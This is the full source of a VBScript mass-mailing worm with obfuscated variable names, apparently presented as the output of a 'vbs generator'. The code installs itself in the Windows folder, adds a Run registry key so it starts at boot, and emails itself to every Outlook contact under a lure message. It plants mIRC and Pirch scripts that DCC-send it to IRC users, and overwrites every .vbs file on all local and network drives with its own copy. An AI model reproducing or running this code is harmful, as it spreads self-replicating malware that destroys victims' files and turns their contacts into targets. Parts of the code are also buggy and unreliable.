vbs generator

On Error Resume Next

Set ymxelbkdfsm = CreateObject("WScript.Shell")

Set pnisnipummf= Createobject("scripting.filesystemobject")

ymxelbkdfsm.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Picture.jpg","wscript.exe "&pnisnipummf.GetSpecialFolder(0)& "\Picture.jpg.vbs %"

pnisnipummf.copyfile wscript.scriptfullname,pnisnipummf.GetSpecialFolder(0)& "\Picture.jpg.vbs"

if ymxelbkdfsm.regread ("HKCU\software\Worm\mailed") <> "1" then

lirpbmybzfh()

end if

if ymxelbkdfsm.regread ("HKCU\software\Worm\mirqued") <> "1" then

ozzejgvdmwg()

end if

if ymxelbkdfsm.regread ("HKCU\software\Worm\pirched") <> "1" then

dyostsunjnc()

end if

iiqstpcjgyp()

qaorydnuohu()

Function lirpbmybzfh()

On Error Resume Next

Set fftkslnantq = CreateObject("Outlook.Application")

If fftkslnantq= "Outlook"Then

Set zyjugcagpwh=fftkslnantq.GetNameSpace("MAPI")

For Each bfrpdevfhlg In zyjugcagpwh.AddressLists

If bfrpdevfhlg.AddressEntries.Count <> 0 Then

yacxksogxyi = bfrpdevfhlg.AddressEntries.Count

For wabacorvkrq= 1 To yacxksogxyi

Set xzgevcppdhn = bfrpdevfhlg.AddressEntries(wabacorvkrq)

Set blbnwjwbyhz = fftkslnantq.CreateItem(0)

blbnwjwbyhz.To = xzgevcppdhn.Address

blbnwjwbyhz.Subject = "Khabar berita "

blbnwjwbyhz.Body = "Salam Untuk Kurt Cobain di sorga and semoga arwahmu tenang di sisi tuhan "

blbnwjwbyhz.Attachments.Add pnisnipummf.GetSpecialFolder(0)& "\Picture.jpg.vbs"

blbnwjwbyhz.DeleteAfterSubmit = True

If blbnwjwbyhz.To <> "" Then

blbnwjwbyhz.Send

ymxelbkdfsm.regwrite "HKCU\software\Worm\mailed", "1"

End If

Next

End If

Next

end if

End Function

Function ozzejgvdmwg(kciljoxeijo)

On Error Resume Next

if kciljoxeijo<>"" then

if pnisnipummf.fileexists("c:\mirc\mirc.ini") then kciljoxeijo="c:\mirc"

if pnisnipummf.fileexists("c:\mirc32\mirc.ini") then kciljoxeijo="c:\mirc32"

zxmndgquoec=ymxelbkdfsm.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")

if pnisnipummf.fileexists(zxmndgquoec & "\mirc\mirc.ini") then kciljoxeijo=zxmndgquoec & "\mirc"

end if

if kciljoxeijo <> "" then

set cbewadmzzhc = pnisnipummf.CreateTextFile(kciljoxeijo & "\script.ini", True)

cbewadmzzhc.WriteLine "[script]"

cbewadmzzhc.writeline "n0=on 1:JOIN:#:{"

cbewadmzzhc.writeline "n1= /if ( $nick == $me ) { halt }"

cbewadmzzhc.writeline "n2= /.dcc send $nick "&pnisnipummf.GetSpecialFolder(0)& "\Picture.jpg.vbs"

cbewadmzzhc.writeline "n3=}"

cbewadmzzhc.close

ymxelbkdfsm.regwrite "HKCU\software\Worm\Mirqued", "1"

end if

end function

function dyostsunjnc(dzlapofzkfa)

On Error Resume Next

if dzlapofzkfa<>"" then

if pnisnipummf.fileexists("c:\pirch\Pirch32.exe") then dzlapofzkfa="c:\pirch"

if pnisnipummf.fileexists("c:\pirch32\Pirch32.exe") then dzlapofzkfa="c:\pirch32"

hmedxxlpvjt=ymxelbkdfsm.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")

if pnisnipummf.fileexists(hmedxxlpvjt & "\pirch\Pirch32.exe") then dzlapofzkfa=hmedxxlpvjt & "\pirch\Pirch32.exe"

end if

if dzlapofzkfa <> "" then

set jvekedajhtk= pnisnipummf.CreateTextFile(dzlapofzkfa & "\events.ini", True)

jvekedajhtk.WriteLine "[Levels]"

jvekedajhtk.WriteLine "Enabled=1"

jvekedajhtk.WriteLine "Count=6"

jvekedajhtk.WriteLine "Level1=000-Unknowns"

jvekedajhtk.WriteLine "000-UnknownsEnabled=1"

jvekedajhtk.WriteLine "Level2=100-Level 100"

jvekedajhtk.WriteLine "100-Level 100Enabled=1"

jvekedajhtk.WriteLine "Level3=200-Level 200"

jvekedajhtk.WriteLine "200-Level 200Enabled=1"

jvekedajhtk.WriteLine "Level4=300-Level 300"

jvekedajhtk.WriteLine " 300-Level 300Enabled=1"

jvekedajhtk.WriteLine "Level5=400-Level 400 "

jvekedajhtk.WriteLine "400-Level 400Enabled=1"

jvekedajhtk.WriteLine "Level6=500-Level 500"

jvekedajhtk.WriteLine "500-Level 500Enabled=1"

jvekedajhtk.WriteLine ""

jvekedajhtk.WriteLine "[000-Unknowns]"

jvekedajhtk.WriteLine "UserCount=0"

jvekedajhtk.WriteLine "EventCount=0"

jvekedajhtk.WriteLine ""

jvekedajhtk.WriteLine "[100-Level 100]"

jvekedajhtk.WriteLine "User1=*!*@*"

jvekedajhtk.WriteLine "UserCount=1"

jvekedajhtk.writeline "Event1=ON JOIN:#:/dcc tsend $nick "&pnisnipummf.GetSpecialFolder(0)& "\Picture.jpg.vbs"

jvekedajhtk.WriteLine "EventCount=1"

jvekedajhtk.WriteLine ""

jvekedajhtk.WriteLine "[200-Level 200]"

jvekedajhtk.WriteLine "UserCount=0"

jvekedajhtk.WriteLine "EventCount=0"

jvekedajhtk.WriteLine ""

jvekedajhtk.WriteLine "[300-Level 300]"

jvekedajhtk.WriteLine "UserCount=0"

jvekedajhtk.WriteLine "EventCount=0"

jvekedajhtk.WriteLine ""

jvekedajhtk.WriteLine "[400-Level 400]"

jvekedajhtk.WriteLine "UserCount=0"

jvekedajhtk.WriteLine "EventCount=0"

jvekedajhtk.WriteLine ""

jvekedajhtk.WriteLine "[500-Level 500]"

jvekedajhtk.WriteLine "UserCount=0"

jvekedajhtk.WriteLine "EventCount=0"

pirchini.close

ymxelbkdfsm.regwrite "HKCU\software\Worm\pirched", "1"

end if

end function

if month(now) =1 and day(now) =26 then

msgbox "Kau Bodoh",16

end if

Function qaorydnuohu()

On Error Resume Next

Set qtrxfgqrwiy = pnisnipummf.Drives

For Each nvloycxmkkj In qtrxfgqrwiy

If nvloycxmkkj.Drivetype = Remote Then

mebfuhaiklh= nvloycxmkkj & "\"

Call tixpnisnipu(mebfuhaiklh)

ElseIf nvloycxmkkj.IsReady Then

mebfuhaiklh= nvloycxmkkj&"\"

Call tixpnisnipu(mebfuhaiklh)

End If

Next

End Function

Function tixpnisnipu(mmfymxelbkd)

Set fsmlirpbmyb= pnisnipummf.GetFolder(mmfymxelbkd)

Set zfhozzejgvd= fsmlirpbmyb.Files

For Each mwgdyostsun In zfhozzejgvd

if pnisnipummf.GetExtensionName(mwgdyostsun.path) = "vbs" then

pnisnipummf.copyfile wscript.scriptfullname , mwgdyostsun.path , true

end if

if mwgdyostsun.name = "mirc.ini" then

ozzejgvdmwg(mwgdyostsun.ParentFolder)

end if

if mwgdyostsun.name = "Pirch32.exe" then

dyostsunjnc(mwgdyostsun.ParentFolder)

end if

Next

Set mwgdyostsun= fsmlirpbmyb.SubFolders

For Each jnciiqstpcj In mwgdyostsun

Call tixpnisnipu(jnciiqstpcj.path)

Next

End Function